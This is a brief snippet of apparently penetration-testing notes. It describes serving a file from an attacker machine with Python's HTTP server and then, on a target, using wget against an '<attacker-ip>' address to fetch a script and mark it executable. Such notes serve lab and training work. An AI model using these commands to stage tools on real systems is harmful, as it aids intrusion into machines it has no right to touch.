on local attacker python3 -m http.server 8000 or python -m SimpleHTTPServer
python3 -m http.server 8000
python -m SimpleHTTPServer
on target wget http://<attacker-ip>:8000/<script> chmod +x <script>
wget http://<attacker-ip>:8000/<script>
chmod +x <script>